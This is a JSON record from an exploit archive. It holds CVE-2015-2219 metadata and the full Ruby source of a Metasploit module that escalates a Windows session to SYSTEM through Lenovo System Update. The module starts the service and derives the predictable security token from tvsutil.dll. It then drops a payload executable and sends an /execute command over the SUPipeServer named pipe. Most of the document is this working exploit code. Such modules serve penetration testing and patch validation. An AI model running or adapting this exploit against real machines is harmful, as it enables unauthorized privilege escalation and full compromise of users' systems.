{"exploit":{"id":"EDB-41708","name":"Lenovo System Update - Local Privilege Escalation (LPE) (Metasploit)","description":"Lenovo System Update - Local Privilege Escalation (LPE) (Metasploit)","cves":["CVE-2015-2219"],"author":"Metasploit","published":"2015-04-12","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41708","path":"exploits/windows/local/41708.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41708.rb","vulnerabilities":[{"id":"CVE-2015-2219","state":"PUBLISHED","title":null,"titleSource":null,"description":"Lenovo System Update (formerly ThinkVantage System Update) before 5.06.0034 uses predictable security tokens, which allows local users to gain privileges by sending a valid token with a command to the System Update service (SUService.exe) through an unspecified named pipe.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-2219","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-2219"},"updatedAt":"2024-08-06T05:10:15.516Z","retrievedAt":"2026-11-26T15:07:00.212Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41708.png?v=2","url":"https://exploitbin.com/exploits/EDB-41708","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41708/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41708/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  include Msf::Exploit::EXE\n  include Msf::Post::File\n  include Msf::Exploit::FileDropper\n  include Msf::Post::Windows::Priv\n  include Msf::Post::Windows::Services\n\n  Rank = ExcellentRanking\n\n  def initialize(info={})\n    super(update_info(info, {\n      'Name'            => 'Lenovo System Update Privilege Escalation',\n      'Description'     => %q{\n        The named pipe, \\SUPipeServer, can be accessed by normal users to interact with the\n        System update service. The service provides the possibility to execute arbitrary\n        commands as SYSTEM if a valid security token is provided. This token can be generated\n        by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the\n        System Update is stopped by default but can be started/stopped calling the Executable\n        ConfigService.exe.\n      },\n      'License'         => MSF_LICENSE,\n      'Author'          =>\n        [\n          'Michael Milvich', # vulnerability discovery, advisory\n          'Sofiane Talmat',  # vulnerability discovery, advisory\n          'h0ng10'           # Metasploit module\n        ],\n      'Arch'            => ARCH_X86,\n      'Platform'        => 'win',\n      'SessionTypes'    => ['meterpreter'],\n      'DefaultOptions'  =>\n        {\n          'EXITFUNC'    => 'thread',\n        },\n      'Targets'         =>\n        [\n          [ 'Windows', { } ]\n        ],\n      'Payload'         =>\n        {\n          'Space'       => 2048,\n          'DisableNops' => true\n        },\n      'References'      =>\n        [\n          ['OSVDB', '121522'],\n          ['CVE', '2015-2219'],\n          ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']\n        ],\n      'DisclosureDate' => 'Apr 12 2015',\n      'DefaultTarget'  => 0\n    }))\n\n    register_options([\n      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),\n      OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),\n    ], self.class)\n\n  end\n\n  def check\n    os = sysinfo['OS']\n\n    unless os =~ /windows/i\n      return Exploit::CheckCode::Safe\n    end\n\n    svc = service_info('SUService')\n    if svc && svc[:display] =~ /System Update/\n      vprint_good(\"Found service '#{svc[:display]}'\")\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end\n\n\n  def write_named_pipe(pipe, command)\n    invalid_handle_value = 0xFFFFFFFF\n\n    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)\n    handle = r['return']\n\n    if handle == invalid_handle_value\n      fail_with(Failure::NoTarget, \"#{pipe} named pipe not found\")\n    else\n      vprint_good(\"Opended #{pipe}! Proceeding...\")\n    end\n\n    begin\n\n      # First, write the string length as Int32 value\n      w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)\n\n      if w['return'] == false\n        print_error('The was an error writing to pipe, check permissions')\n        return false\n      end\n\n      # Then we send the real command\n      w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)\n\n      if w['return'] == false\n        print_error('The was an error writing to pipe, check permissions')\n        return false\n      end\n    ensure\n      session.railgun.kernel32.CloseHandle(handle)\n    end\n    true\n  end\n\n\n  def get_security_token(lenovo_directory)\n    unless client.railgun.get_dll('tvsutil')\n      client.railgun.add_dll('tvsutil', \"#{lenovo_directory}\\\\tvsutil.dll\")\n      client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')\n    end\n\n    dll_response = client.railgun.tvsutil.GetSystemInfoData(256)\n\n    dll_response['systeminfo'][0,40]\n  end\n\n\n  def config_service(lenovo_directory, option)\n    cmd_exec(\"#{lenovo_directory}\\\\ConfigService.exe #{option}\")\n  end\n\n\n  def exploit\n    if is_system?\n      fail_with(Failure::NoTarget, 'Session is already elevated')\n    end\n\n    su_directory = service_info('SUService')[:path][1..-16]\n    print_status('Starting service via ConfigService.exe')\n    config_service(su_directory, 'start')\n\n    print_status('Giving the service some time to start...')\n    Rex.sleep(datastore['Sleep'])\n\n    print_status(\"Getting security token...\")\n    token = get_security_token(su_directory)\n    vprint_good(\"Security token is: #{token}\")\n\n    if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?\n      temp_dir = get_env('TEMP')\n    else\n      temp_dir = datastore['WritableDir']\n    end\n\n    print_status(\"Using #{temp_dir} to drop the payload\")\n\n    begin\n      cd(temp_dir)\n    rescue Rex::Post::Meterpreter::RequestError\n      fail_with(Failure::BadConfig, \"Failed to use the #{temp_dir} directory\")\n    end\n\n    print_status('Writing malicious exe to remote filesystem')\n    write_path = pwd\n    exe_name = \"#{rand_text_alpha(10 + rand(10))}.exe\"\n\n    begin\n      write_file(exe_name, generate_payload_exe)\n      register_file_for_cleanup(\"#{write_path}\\\\#{exe_name}\")\n    rescue Rex::Post::Meterpreter::RequestError\n      fail_with(Failure::Unknown, \"Failed to drop payload into #{temp_dir}\")\n    end\n\n    print_status('Sending Execute command to update service')\n\n    begin\n      write_res = write_named_pipe(\"\\\\\\\\.\\\\pipe\\\\SUPipeServer\", \"/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}\")\n    rescue Rex::Post::Meterpreter::RequestError\n      fail_with(Failure::Unknown, 'Failed to write to pipe')\n    end\n\n    unless write_res\n      fail_with(Failure::Unknown, 'Failed to write to pipe')\n    end\n\n    print_status('Stopping service via ConfigService.exe')\n    config_service(su_directory, 'stop')\n  end\n\nend","sha256":"fb325c43cd371fc30261a6c934703e03a1279a53e67e456f718ad04a4c589519","bytes":6033,"fetchedAt":"2026-11-26T15:06:58.438Z","encoding":"utf-8 (display only; download retains original bytes)"}